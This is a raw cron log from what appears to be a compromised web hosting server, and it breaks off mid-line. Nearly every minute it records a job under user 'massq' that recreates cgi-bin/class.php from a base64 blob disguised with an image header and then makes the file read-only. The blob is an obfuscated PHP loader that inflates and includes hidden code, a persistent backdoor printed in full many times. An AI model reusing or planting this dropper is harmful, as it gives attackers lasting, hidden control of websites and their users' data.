Nov 14 14:46:01 server CROND[19943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:47:01 server CROND[20574]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:48:01 server CROND[21442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:49:01 server CROND[22309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:50:01 server CROND[23180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:50:01 server CROND[23181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 14:50:01 server CROND[23186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:50:01 server CROND[23188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:50:01 server CROND[23187]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 14:51:01 server CROND[24208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:52:01 server CROND[25085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:53:01 server CROND[25956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:54:01 server CROND[26635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:55:01 server CROND[27528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:55:01 server CROND[27530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:55:01 server CROND[27529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:56:01 server CROND[28598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:57:01 server CROND[29455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:57:01 server CROND[29456]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:58:01 server CROND[30283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:59:01 server CROND[31144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 